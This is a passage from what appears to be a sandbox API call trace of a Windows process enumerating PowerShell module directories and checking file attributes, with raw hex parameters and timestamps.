lpFindFileData=0x5bde0f8 | out: lpFindFileData=0x5bde0f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499ef9c0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499ef9c0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499ef9c0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PackageManagement", cAlternateFileName="PACKAG~1")) returned 1 [0157.697] FindNextFileW (in: hFindFile=0x5f63960, lpFindFileData=0x5bde0f8 | out: lpFindFileData=0x5bde0f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499a3700, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499a3700, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerShellGet", cAlternateFileName="POWERS~1")) returned 1 [0157.697] FindNextFileW (in: hFindFile=0x5f63960, lpFindFileData=0x5bde0f8 | out: lpFindFileData=0x5bde0f8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0157.697] FindClose (in: hFindFile=0x5f63960 | out: hFindFile=0x5f63960) returned 1 [0157.697] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bde0b0) returned 1 [0157.697] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bde310) returned 1 [0157.697] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Modules.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\modules.psd1")) returned 0xffffffff [0157.698] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Modules.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\modules.psm1")) returned 0xffffffff [0157.698] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Modules.cdxml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\modules.cdxml")) returned 0xffffffff [0157.698] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Modules.xaml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\modules.xaml")) returned 0xffffffff [0157.698] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Modules.ni.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\modules.ni.dll")) returned 0xffffffff [0157.698] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Modules.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\modules.dll")) returned 0xffffffff [0157.698] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x43 [0157.698] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x43, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement", lpFilePart=0x0) returned 0x42 [0157.698] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bde090) returned 1 [0157.698] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement"), fInfoLevelId=0x0, lpFileInformation=0x5bde354 | out: lpFileInformation=0x5bde354*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499ef9c0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499ef9c0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499ef9c0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0157.698] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bde08c) returned 1 [0157.698] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3f [0157.698] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x3f, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet", lpFilePart=0x0) returned 0x3e [0157.698] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bde090) returned 1 [0157.698] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget"), fInfoLevelId=0x0, lpFileInformation=0x5bde354 | out: lpFileInformation=0x5bde354*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499a3700, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499a3700, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0157.699] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bde08c) returned 1 [0157.699] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bde340) returned 1 [0157.699] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x43 [0157.699] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x43, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement", lpFilePart=0x0) returned 0x42 [0157.699] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\*", lpFindFileData=0x5bde0f0 | out: lpFindFileData=0x5bde0f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499ef9c0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499ef9c0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499ef9c0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5f63960 [0157.699] FindNextFileW (in: hFindFile=0x5f63960, lpFindFileData=0x5bde0f8 | out: lpFindFileData=0x5bde0f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499ef9c0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499ef9c0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499ef9c0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.699] FindNextFileW (in: hFindFile=0x5f63960, lpFindFileData=0x5bde0f8 | out: lpFindFileData=0x5bde0f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499ef9c0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49a61de0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49a61de0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.1", cAlternateFileName="100~1.1")) returned 1 [0157.699] FindNextFileW (in: hFindFile=0x5f63960, lpFindFileData=0x5bde0f8 | out: lpFindFileData=0x5bde0f8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0157.699] FindClose (in: hFindFile=0x5f63960 | out: hFindFile=0x5f63960) returned 1 [0157.699] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bde0b0) returned 1 [0157.699] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bde310) returned 1 [0157.699] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x62 [0157.699] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x62, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x61 [0157.700] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bde094) returned 1 [0157.700] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\packagemanagement.psd1"), fInfoLevelId=0x0, lpFileInformation=0x5bde358 | out: lpFileInformation=0x5bde358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49a3bc80, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea79a40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea79a40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x8f9)) returned 1 [0157.700] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bde090) returned 1 [0157.700] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x62 [0157.700] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x62, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x61 [0157.700] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x62 [0157.700] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x62, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x61 [0157.700] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bde0b8) returned 1 [0157.700] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\packagemanagement.psd1"), fInfoLevelId=0x0, lpFileInformation=0x22303dc | out: lpFileInformation=0x22303dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49a3bc80, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea79a40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea79a40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x8f9)) returned 1 [0157.700] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bde0b4) returned 1 [0157.700] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\packagemanagement.psd1")) returned 0xffffffff [0157.700] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\packagemanagement.psm1")) returned 0xffffffff [0157.700] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.cdxml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\packagemanagement.cdxml")) returned 0xffffffff [0157.700] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.xaml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\packagemanagement.xaml")) returned 0xffffffff [0157.701] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.ni.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\packagemanagement.ni.dll")) returned 0xffffffff [0157.701] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\packagemanagement.dll")) returned 0xffffffff [0157.701] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bde340) returned 1 [0157.701] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3f [0157.701] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x3f, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet", lpFilePart=0x0) returned 0x3e [0157.701] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\*", lpFindFileData=0x5bde0f0 | out: lpFindFileData=0x5bde0f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499a3700, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499a3700, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5f63960 [0157.701] FindNextFileW (in: hFindFile=0x5f63960, lpFindFileData=0x5bde0f8 | out: lpFindFileData=0x5bde0f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499a3700, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499a3700, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.701] FindNextFileW (in: hFindFile=0x5f63960, lpFindFileData=0x5bde0f8 | out: lpFindFileData=0x5bde0f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499ef9c0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499ef9c0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.1", cAlternateFileName="100~1.1")) returned 1 [0157.702] FindNextFileW (in: hFindFile=0x5f63960, lpFindFileData=0x5bde0f8 | out: lpFindFileData=0x5bde0f8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0157.702] FindClose (in: hFindFile=0x5f63960 | out: hFindFile=0x5f63960) returned 1 [0157.702] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bde0b0) returned 1 [0157.702] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bde310) returned 1 [0157.702] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5a [0157.702] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x5a, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x59 [0157.702] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bde094) returned 1 [0157.702] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1"), fInfoLevelId=0x0, lpFileInformation=0x5bde358 | out: lpFileInformation=0x5bde358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea538e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea538e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x10de)) returned 1 [0157.702] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bde090) returned 1 [0157.702] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5a [0157.702] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x5a, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x59 [0157.702] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5a [0157.702] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x5a, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x59 [0157.702] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bde0b8) returned 1 [0157.702] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1"), fInfoLevelId=0x0, lpFileInformation=0x2231aac | out: lpFileInformation=0x2231aac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea538e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea538e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x10de)) returned 1 [0157.702] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bde0b4) returned 1 [0157.703] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\powershellget.psd1")) returned 0xffffffff [0157.703] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\powershellget.psm1")) returned 0xffffffff [0157.703] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.cdxml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\powershellget.cdxml")) returned 0xffffffff [0157.703] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.xaml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\powershellget.xaml")) returned 0xffffffff [0157.703] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.ni.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\powershellget.ni.dll")) returned 0xffffffff [0157.703] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\powershellget.dll")) returned 0xffffffff [0157.706] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules")) returned 0x10 [0157.706] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bde340) returned 1 [0157.706] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x33 [0157.706] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules", nBufferLength=0x33, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules", lpFilePart=0x0) returned 0x32 [0157.707] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\*", lpFindFileData=0x5bde0f0 | out: lpFindFileData=0x5bde0f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x498007e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x498007e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5f63960 [0157.707] FindNextFileW (in: hFindFile=0x5f63960, lpFindFileData=0x5bde0f8 | out: lpFindFileData=0x5bde0f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x498007e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x498007e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.707] FindNextFileW (in: hFindFile=0x5f63960, lpFindFileData=0x5bde0f8 | out: lpFindFileData=0x5bde0f8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e4bcac7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e4bcac7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BitsTransfer", cAlternateFileName="BITSTR~1")) returned 1 [0157.707] FindNextFileW (in: hFindFile=0x5f63960, lpFindFileData=0x5bde0f8 | out: lpFindFileData=0x5bde0f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CimCmdlets", cAlternateFileName="CIMCMD~1")) returned 1 [0157.707] FindNextFileW (in: hFindFile=0x5f63960, lpFindFileData=0x5bde0f8 | out: lpFindFileData=0x5bde0f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ISE", cAlternateFileName="")) returned 1 [0157.707] FindNextFileW (in: hFindFile=0x5f63960, lpFindFileData=0x5bde0f8 | out: lpFindFileData=0x5bde0f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496cfce0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496cfce0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496cfce0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Archive", cAlternateFileName="MICROS~1.ARC")) returned 1 [0157.707] FindNextFileW (in: hFindFile=0x5f63960, lpFindFileData=0x5bde0f8 | out: lpFindFileData=0x5bde0f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Diagnostics", cAlternateFileName="MICROS~1.DIA")) returned 1 